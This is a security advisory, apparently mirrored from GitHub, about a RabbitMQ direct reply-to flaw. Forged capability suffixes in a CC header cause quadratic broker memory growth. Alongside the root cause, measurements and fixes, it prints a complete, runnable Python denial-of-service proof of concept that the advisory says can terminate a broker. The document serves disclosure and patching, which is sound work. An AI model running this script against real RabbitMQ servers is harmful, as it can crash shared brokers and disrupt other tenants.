Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-6chv-gv3h-cvcj

Опубликовано: 18 авг. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 6

Описание

RabbitMQ direct reply-to: forged suffix fanout causes quadratic mailbox memory

Summary

RabbitMQ direct reply-to addresses have the form:

amq.rabbitmq.reply-to.<encoded-channel-or-session-pid>.<capability-key>

When resolving a destination, RabbitMQ decodes and validates the PID but discards the capability-key suffix. An attacker who obtains their own valid direct reply-to address can create many distinct routing keys that preserve the encoded PID and replace only the suffix.

A single message can carry these names through the AMQP CC header. RabbitMQ creates one volatile target per distinct name and sends one cast per target to the same channel/session PID. Every cast retains a copy of the message's full O(N) routing-key structure, producing N × O(N) = O(N²) mailbox memory.

The final capability-key check happens only after each cast reaches the target mailbox, too late to prevent amplification.

Preconditions

  • The attacker has an authenticated AMQP account.
  • The account can write to the default exchange.
  • The attacker activates direct reply-to and obtains its own generated reply address. No victim address or cross-user information leak is required.

These are ordinary application permissions. No plugin or administrator role is required.

Root cause

1. The suffix is parsed but never validated

%% deps/rabbit/src/rabbit_volatile_queue.erl:368-389 pid_from_name(<<?PREFIX, Bin/binary>>, CandidateNodes) -> ... [PidBase64, _KeyBase64] = binary:split(Bin, Cp), PidBin = base64:decode(PidBase64), ... {ok, rabbit_pid_codec:recompose(PidParts)}

Only the encoded PID contributes to the returned target.

2. Distinct forged names become distinct targets

The default exchange resolves each CC routing key independently through rabbit_db_queue:get_targets/1. Names are different as binaries, so they are not deduplicated even when they decode to the same PID.

3. Every target receives the full message structure

rabbit_queue_type:deliver0/4 groups the volatile targets but retains the message carrying all routing keys. rabbit_volatile_queue:deliver/3 then sends one queue_event cast per target.

The target channel eventually notices the wrong capability key and drops each event, but every event has already occupied mailbox memory.

Basic Python proof of concept

Attached at the end of file: dos-poc.py

Requirements:

  • Python 3 with pika (python3 -m pip install pika).
  • An already-running RabbitMQ server.
  • An ordinary account with configure/read/write permission in one vhost.
  • No RabbitMQ plugin or non-default server configuration.

Run:

python3 dos-poc.py \ --host rabbitmq.example --port 5672 --vhost / \ --user poc --password pocpass \ --count 800 --repeats 1

The PoC uses only the AMQP network interface. It registers a real direct reply-to consumer, obtains the broker-expanded address through a normal RPC request, replaces the capability suffix with 800 distinct values, and sends them in one CC header. Monitor RabbitMQ process memory while increasing --count or --repeats.

--count 800 --repeats 1 is the bounded validation setting. Larger values can terminate the broker.

Successful delivery of the attack prints:

sent iteration 1/1: 800 forged destinations target one broker channel POC_SENT

Independent Docker validation evidence

The attached network-only PoC does not require Docker or broker shell access. For deterministic measurement, the finding was separately validated on stock RabbitMQ 4.3.4 by temporarily suspending only the attacker's own broker channel while sampling its mailbox:

RabbitMQ 4.3.4 control n=400: mailbox delta: 0 memory delta: 0 bytes attack n=200: mailbox delta: 200 memory delta: 7,540,800 bytes attack n=400: mailbox delta: 400 memory delta: 29,801,600 bytes growth versus n=200: 3.95x attack n=800: mailbox delta: 800 memory delta: 118,483,200 bytes growth versus n=400: 3.98x ASSERTIONS_OK Ping succeeded

Doubling the number of forged suffixes increases memory by approximately four, which directly demonstrates quadratic scaling. The N=800 message fits within normal AMQP frame limits yet consumes approximately 118.5 MB in one target mailbox.

Impact

  • A low-privilege tenant can target its own channel/session and consume shared broker memory, so no victim PID discovery is necessary.
  • Several bounded-size publishes across channels can exhaust a broker node.
  • Memory alarms do not prevent a single in-progress fanout from enqueuing the complete burst.
  • The issue affects a core feature and can impact other vhosts and tenants on the same node.

Recommended remediation

  • Validate the complete direct reply-to capability, including the random key, before creating a volatile target or sending a cast.
  • Deduplicate resolved volatile targets by validated PID and capability.
  • Reject or bound the number and aggregate encoded size of CC/x-cc routing keys.
  • Charge flow credit for fanout work rather than only once per source message.
  • Add a regression asserting linear mailbox memory as CC count grows.
#!/usr/bin/env python3 """RabbitMQ direct reply-to forged-suffix mailbox amplification PoC.""" from __future__ import annotations import argparse import time import pika def connect(args: argparse.Namespace) -> pika.BlockingConnection: return pika.BlockingConnection( pika.ConnectionParameters( host=args.host, port=args.port, virtual_host=args.vhost, credentials=pika.PlainCredentials(args.user, args.password), heartbeat=600, blocked_connection_timeout=120, ) ) def obtain_reply_address(args: argparse.Namespace) -> tuple[pika.BlockingConnection, str]: requester = connect(args) request_channel = requester.channel() request_channel.basic_consume( queue="amq.rabbitmq.reply-to", on_message_callback=lambda *_: None, auto_ack=True, ) responder = connect(args) response_channel = responder.channel() declared = response_channel.queue_declare( queue="", exclusive=True, auto_delete=True ) request_queue = declared.method.queue request_channel.basic_publish( exchange="", routing_key=request_queue, body=b"discover generated reply address", properties=pika.BasicProperties(reply_to="amq.rabbitmq.reply-to"), ) deadline = time.time() + 10 reply_to = None while time.time() < deadline: method, properties, _ = response_channel.basic_get( queue=request_queue, auto_ack=True ) if method: reply_to = properties.reply_to break time.sleep(0.05) responder.close() if not reply_to or not reply_to.startswith("amq.rabbitmq.reply-to."): requester.close() raise RuntimeError(f"broker did not expand direct reply-to: {reply_to!r}") return requester, reply_to def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=5672) parser.add_argument("--vhost", default="/") parser.add_argument("--user", required=True) parser.add_argument("--password", required=True) parser.add_argument("--count", type=int, default=800) parser.add_argument("--repeats", type=int, default=1) args = parser.parse_args() requester, reply_to = obtain_reply_address(args) pid_prefix, _real_capability = reply_to.rsplit(".", 1) forged = [ f"{pid_prefix}.forged-{index:05d}" for index in range(args.count) ] publisher = connect(args) channel = publisher.channel() channel.confirm_delivery() for iteration in range(args.repeats): confirmed = channel.basic_publish( exchange="", routing_key="poc.no-such-queue", body=b"x", properties=pika.BasicProperties(headers={"CC": forged}), ) if confirmed is False: raise RuntimeError("broker negatively acknowledged the PoC publish") print( f"sent iteration {iteration + 1}/{args.repeats}: " f"{args.count} forged destinations target one broker channel" ) publisher.close() requester.close() print(f"generated reply address: {reply_to}") print("POC_SENT") print("Monitor RabbitMQ process memory while increasing --count or --repeats.") return 0 if __name__ == "__main__": raise SystemExit(main())

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.10

4.2.10

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.3.0, < 4.3.5

4.3.5

6 Medium

CVSS4

Дефекты

CWE-400
CWE-407

6 Medium

CVSS4

Дефекты

CWE-400
CWE-407